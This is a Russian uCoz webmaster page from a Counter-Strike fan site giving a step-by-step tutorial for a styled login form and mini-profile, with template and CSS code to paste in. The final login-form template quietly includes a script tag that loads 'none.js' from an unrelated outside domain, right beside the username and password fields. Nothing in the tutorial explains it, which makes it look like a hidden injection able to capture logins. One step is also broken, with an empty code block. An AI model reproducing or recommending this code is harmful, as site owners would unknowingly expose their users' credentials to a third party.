Пятница, 24.04.2026, 17:59


Главная| Регистрация | Вход
Меню сайта
Counter-Strike
Мастерская
Другое
Видео о cs
Cs Art
Мини-чат
Опрос
Оцените сайт (По смайликам)
 
Всего ответов: 8
Время на сайте =)
Реклама №1



Рекламное место свободно Обращайтесь к Админ
Статистика
Статистика:
Всего: 595
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них
Гл.Администраторов: 1
Администраторов: 0
Гл.Модераторов: 0
Модераторов: 4
Гл.Дизайнеров: 0
Дизайнеров: 1
Файловиков: 0
Проверенных: 1
Постоянных: 0
V.I.P Персон: 1
Друзья сайта: 0
Обычных юзеров: 587
Заблокированные: 0
Из них
Парней: 550
Девушек: 44
Счетчик:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Юзеры онлайн:
Нас посетили:

Главная » 2012 » Октябрь » 28 » Компактный мини-профиль пользователя
14:42
Компактный мини-профиль пользователя
Современный и симпатичный дизайн для формы входа ucoz, а также для мини профиля. Скрипт формы входа использует красивую кнопку "Вход". Мини-профиль сделан в стиле минимализма. Скрипт впишется под любой дизайн.
Установка:

1. Переходим в ПУ -> Глобальные блоки, тут выбираем контейнер, где хотим видеть данный скрипт, создаем там "новый блок" и вставляем туда следующий

Code
<?if($USER_LOGGED_IN$)?>  
<div class="miniprofUDS">  
<div class="miniprofname" align="center"> Добро пожаловать, <b>$USERNAME$</b>!</div>  
<div class="miniprofimage">  
<a href="#"><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://ili.pp.ua/img/comm_added_no_av.png<?endif?>" style="border:0px; "/></a>  
</div>  
<div class="miniprofinfo">  
<a class="miniprofinfo" href="/index/8">Мой профиль</a><br>  
<a class="miniprofinfo" href="/index/14">Мои сообщения <span>($UNREAD_PM$)</span></a><br>  
<a class="miniprofinfo" href="/index/11">Мои настройки</a><br>  
<a class="miniprofinfo" href="/index/10">Выход с сайта</a><br>  
</div></div>  
<?else?>  
$LOGIN_FORM$  
<?endif?>


2. Также название блока можно изменить на:

Code
[/code]

3. Далее переходим в Таблицу стилей CSS и добавляем:  

[code].miniprofimage a img {opacity:0.6; -moz-opacity:0.6; filter:alpha(opacity=70);}  
.miniprofimage a:hover img {opacity:1.0; -moz-opacity:1.0; filter:alpha(opacity=100);}  
.miniprofUDS {font-family:tahoma; overflow:hidden; padding-bottom:5px;}  
.miniprofimage {padding:4px 5px 4px 5px;float:left;}  
.miniprofimage img {border:2px solid #fff;border-radius:1px;width:52px;height:52px;}  
.miniprofname {color: #333; widht:90%;background:#f3fafd;border:1px solid #e1ebf0;margin-bottom:4px;padding:5px;}  
.miniprofinfo {padding-top:4px}  
.miniprofinfo a:link,.miniprofinfo a:visited,.miniprofinfo a:active {background:url('http://ili.pp.ua/img/miniprofimageurl.gif')no-repeat 3px 5px;text-decoration:none; color:#737474; padding:0px 5px 0px 10px;}  
.miniprofinfo a:hover {text-decoration:none; color:#939494;}  
.miniprofinfo span{font-weight: bold;}  
input#miniprofIN {vertical-align:middle; color:#666; font-size:11px; font-family:tahoma; border:1px solid #d5d7da; background:#fff; padding:3px 7px 3px 7px;}  
input#miniprofIN:active, input#miniprofIN:hover, input#miniprofIN:focus{outline:none; border:1px solid #bdbfc2;}  
div.input_submit {background:#2a3946 url("http://ili.pp.ua/img/highlight_faint.png") repeat-x 0 0px; border:1px solid #202c36; color:#fff;  
display:inline-block; padding:5px 10px; text-align:center; text-shadow:rgba(0,0,0,0.7) 0px 1px 0px; -moz-box-shadow:rgba(0,0,0,0.43) 0px 1px 0px;-webkit-box-shadow:rgba(0,0,0,0.43) 0px 1px 0px;box-shadow:rgba(0,0,0,0.43) 0px 1px 0px; -moz-border-radius:1px;-webkit-border-radius:1px;border-radius:1px;}  
div.input_submit:hover {background-color:#364959; color:#fff; cursor:pointer;}  
div.input_submit.alt {background:#758a9d url("http://ili.pp.ua/img/highlight_faint.png") repeat-x 0 0px; border:1px solid #61768a;  
color:#e6edf4; text-shadow:rgba(0,0,0,0.3) 0px 1px 0px}  
div.input_submit.alt:hover {background-color:#8197aa; color:#fff; cursor:pointer;}


4. Ну и последний шаг: переходим в П.У. - Дизайн - Управление дизайном - Форма входа пользователей и всё меняем на следующий код:

Code
<div class="miniprofname" align="center"> Введите ваш <b>логин</b> и <b>пароль</b>!</div>  
<div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><input id="miniprofIN" onFocus="if(value=='Логин...'){value='';}" onBlur="if(value=='') {value='Логин...';}" value="Логин..." type="text" name="user" value="" size="20" style="width:100%;" maxlength="50"/></div>  
<div style="margin-bottom:2px; margin-top:1px; color:#777;"></div>  
<div><input id="miniprofIN" onFocus="if(value=='Пароль...'){value='';}" onBlur="if(value=='') {value='Пароль...';}" value="Пароль..." class="loginField" type="password" name="password" size="20" style="width:100%" maxlength="15"/></div>  
<div style="display:none;">  
<table border="0" cellspacing="1" cellpadding="0" width="90%">  
<tr>  
<td nowrap><input id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label></td>  
<td align="right" valign="top"><input class="loginButton" id="EnterUser" name="sbm" type="submit" value="Вход"/></td>  
</tr>  
</table>  
</div>  
<div style="border:0px; border-top:1px solid #ccc; margin:5px; padding:5px;">  
<div style="float:right;"><div class="input_submit alt" onclick="$('#EnterUser').click()" style="padding:5px 10px;"><b>Войти</b></div></div>  
<div><a href="$REMINDER_LINK$" style="color:#999; text-shadow:0px 1px 0px #fff;">Забыли пароль</a></div>  
<div><a href="/index/3" style="color:#999; text-shadow:0px 1px 0px #fff;">Регистрация</a></div>  
<div style="clear:both"></div>  
</div>
Просмотров: 445 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0
ComForm">
avatar
Рай для анимешника
 
  AnimeLend.Info - сайт для фанатов аниме, у нас собранно все видео аниме онлайн. В нашей базе есть русская озвучка и субтитры, старые издания и новинки, множество жанров и категорий, тут настоящий рай для анимешника.
Мини профиль

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Все для ВебМастера
Все для Photoshop
Бонусы WMR

Вы можете получить WMR-бонус в размере 0,01-0,10 WMR на свой кошелек 1 раз в сутки

Кошелек
Код Защитный код

Обмен Webmoney

Друзья сайта


AnimeLend.info

ПОЛУЧИ ДЕНЬГИ НА КОШЕЛЁК

Место свободно

Место свободно

Топ фаловиков


casper
Респект: 45
Постов: 444
Файлов: 226


tema
Респект: 6
Постов: 1
Файлов: 26


danbdan
Респект: 18
Постов: 0
Файлов: 5


tubaretka2012
Респект: 0
Постов: 0
Файлов: 4


Vintak
Респект: 16
Постов: 1
Файлов: 1
Последнее на форум
Загадки...
Сообщений от: casper
Кто первый?
Сообщений от: casper
Анекдоты
Сообщений от: casper
Kryk - Это СмС обманш...
Сообщений от: casper
Общение на любые темы...
Сообщений от: casper
КАК РАЗБЛОКИРОВАТЬ AL...
Сообщений от: casper
Как поднять ТИЦ
Сообщений от: casper
Ничего Интересного
Сообщений от: casper
Пос. Коментарии
Написал: casper
Написал:
Поиск
Теги для пойска:
анти МОДЫ лого сервера новости игровые новости смотреть новости скачать Star Wars: The Old Republic скачавание файлов Как зомби Игры видео Футбол создание мувика смотреть онлайн стат админа игровые проверка знанию кс деньги для гарены Взлом плагин для Сколько будет даваться хп за покупк кто убил или победил в раунде. Все Плазма добавляет брони и конешно человека гарб читы как собрать серер сомаму? видео о cs приколы cs 1.6 Модели оружия для CS 1.6 m4a1 мка Сервер содержит: Amx Mod X 1.8.1 Me cs online на admin Addon Display плагин показывает какой мод наприме Counter-Strike 1.6 counter strike Zombie effect читы Приколы asult Server ZP тема Скрипты для CS бесплатно AP плагины для cs плагины скачать плагины для cs даже без реальной камеры. читы для cs Скачать темы для cs скрипты скачать для cs скачать $E скачать программу regcleaner Модели игроков soft Софт видео приколы Звуки Скачать Counter-strike скачать модели для cs прогу films видеофильмы скачать видео film кино фильмы скачать фильмы скачать фильмы бесплатно скачать видео бесплатно без Анти-читы чит от запуска скачать обои скачать обои бесплатно обои на рабочий стол wallpaper обои для рабочего стола скачать Обои для рабочего стола бесплатные обои обои beta Команды
http://m4a1-m4a1.clan.su/ © Все права защищены! | Sitemap-forum | Используются технологии uCoz Советуем просматривать сайт через браузер Opera или Mozilla Firefox